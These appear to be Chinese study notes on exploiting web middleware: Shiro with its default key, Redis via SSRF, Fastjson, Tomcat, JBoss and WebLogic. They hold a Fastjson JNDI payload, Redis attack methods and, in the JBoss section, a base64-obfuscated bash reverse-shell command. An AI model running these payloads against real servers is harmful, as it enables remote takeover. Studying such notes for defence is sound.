WEB常见中间件漏洞原理

Apache Shiro反序列化

在shiro≤1.2.4版本，默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控，从而引发反序化攻击。（理论上只要AES加密钥泄，都会导致反序化）

利用的两个关键条件是key和可用gadget。1.2.4版本默认key为kPH+bIxk5D2deZiIxcaaaA==

触发反序列化流程：读取cookie -> base64解码 -> AES解密 -> 反序列化

DNS可以出网，使用dnslog进行攻击

结合Dnslog与URLDNS方法有一个前提是DNS能出网。那么在不出网的情况下就需要找一个替代的方案了。结合SQL盲注的思路，可以考虑执行如下代码结合时间延迟进行判断，若系统是linux系统，则睡眠10s同理，可以考虑结合触发Java异常进判断，若系统返回对应的报错系统，或者返回通用的报错提示，说明当前的key和gadget组合是成功的：结合CookieRememberMeManaer

shiro提供了记住我（RememberMe）的功能，关闭了浏览器下次再打开时还是能保存身份信息，使得无需再登录即可访问。

在登陆成功时，如果启用了RememberMe功能，shiro会在CookieRememberMeManaer类中将cookie中rememberMe字段内容进行序列化、AES加密、Base64编码操作。然后保存在cookie中。在关闭浏览器后，重新访问对应的业务接口，此时就是反过来的操作，解码，解密，然后序列化。最后获取到当前用户的身份信息。

简单看看具体的代码实现，看看能不能找到相关的思路来解决枚举key的问题。在获取到rememberMe后，会调用getRememberedPrincipals方法解密反序列化，得到用户凭证组信息：

删除代码里的默认密钥

默认配置里注释了默认密钥

升级shiro到1.2.5及以上

如果在配置里配置了密钥，那么请一定不要使用网上的密钥，一定不要！！

请自己base64一个AES的密钥，或者利用官方提供的方法生成密钥：org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()

SSRF认证攻击Redis

SSRF未授权攻击Redis

当存在SSRF漏洞且内网中Redis服务可以未授权访问时，我们可以利用gopher协议构造tcp报文发送一系列请求来攻击Redis服务。

主要是因为配置不当，导致未授权访问漏洞，进一步将恶意数据写入内存或者磁盘之中，造成更大的危害

redis.conf 配置文件中两项配置不当：

配置登录策略导致任意机器都可以登录 redis（设置bind 参数为 0.0.0.0或者将 bind 参数注释掉，关闭保护模式(设置 protected-mode 的参数为no）

未设置密码或者设置弱口令

常见的几种攻击方式：

*2 $4 AUTH $6 123123 认证

可以通过单个写入操作发送多个命令，而无需在发出下一个命令之前读取上一个命令的服务器回复。所有的回复都可以在最后阅读。

利用计划任务执行命令反弹shell

• 写ssh-keygen公钥然后使用私钥登陆
• 往web物理路径写webshell

Fastjson反序列化漏洞（1.2.24-1.2.47）

原理：序列化操作的时候JSON.toJSONString方法有一个参数SerializerFeature.WriteClassName（auto type） , 序列化的时候如果添加了这个参数就可以通过@type键的值来控制该序列化要被反序列化成什么样的对象（调用哪个set方法），接下来就可以找一个可以实现我们功能的类用来构造恶意代码，比如

com.sun.rowset.JdbcRowSetImpl ->setAutocommit->thin.connect->lookup

该方法就是JNDI中访问远程服务器获取远程对象的方法，其参数为服务器地址。如果其参数可控那么就可能被攻击，而this.getDataSourceName是获取DataSourceName的值得方法，那么我们只要控制了this.setDataSourceName方法的参数就可以访问我们自己的服务器了。而我们知道Fastjson在反序列化的时候会调用所有的set方法，正好可以通过setDataSourceName对DataSourceName进行赋值

poc:

"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC","autoCommit":true}

TOMcat远程任意代码执行

PUT

一、原理分析：

只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false，则Tomcat可以不经任何身份验证的控制直接接收PUT方式上传的文件，无论上传者是任何人，也无论上传的是任何文件。此时可以上传jsp文件，直接执行jsp代码。

CVE-2019-0232

该漏洞存在于启用了enableCmdLineArguments选项的CGI Servlet中,与JRE向Windows传递参数过程中的bug有关。成功利用此漏洞可允许远程攻击者在目标服务器上执行任意命令,从而导致服务器被完全控制。由于Apache Tomcat应用范围广泛，该漏洞一旦被大规模利用，带来后果将不堪设想。

1. 系统为Windows
2. 启用了CGI Servlet（默认为关闭）
3. 启用了enableCmdLineArguments（Tomcat 9.0.*及官方未来发布版本默认为关闭）

jboss反序列化漏洞

在jboss这个中间件中，由jboss的ReadOnly AccessFilter 过滤器具体执行这个反序列化动作，他没有任何检查。我们可以利用post请求，给 /invoker/readonly 发送请求，post内容中包含我们的bash反弹的序列化数据，具体由ysoserial生成一个poc.ser

漏洞利用的条件：

1. /invoker/readonly目录存在且能访问。
2. 版本号为5.x/6.x

使用在线工具转换下这条命令，其中的ip地址是kali，这里我们使用nc反弹shell

bash -c {echo,YmFzaCAtaSAgPiYgIC9kZXYvdGNwLzE5Mi4xNjguNDMuMjA4Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}      

Weblogic反序列化漏洞(CVE-2019-2725)

一,此漏洞产生于Weblogic T3服务，当开放Weblogic控制台端口（默认为7001端口）时，T3服务会默认开启，因此会造成较大影响。结合曾经爆出的Weblogic WLS 组件漏洞（CVE-2017-10271），不排除会有攻击者利用漏洞挖矿的可能，因此，建议受影响企业用户尽快部署防护措施。

二、漏洞原理介绍：

目前这个漏洞是结合了历史问题实现的远程命令执行，具体概括有三点

1.反射机制

JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

2.RMI

RMI是Remote Method Invocation的简称，是J2SE的一部分，能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象，可以从另一个Java虚拟机上（甚至跨过网络）调用它的方法，可以像调用本地Java对象的方法一样调用远程对象的方法，使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化，如果RMI服务端端口对外开发，并且服务端使用了像Apache Commons Collections这类库，那么会导致远程命令执行。

RMI依赖于Java远程消息交换协议JRMP（Java Remote Messaging Protocol），该协议为java定制，要求服务端与客户端都为java编写。

Nmap的NSE脚本查看对方是否开启T3协议，查看到目标站点开启了T3协议

攻击方法： nmap -n -v -p 7001,7002 <target_ip> --script=weblogic-t3-info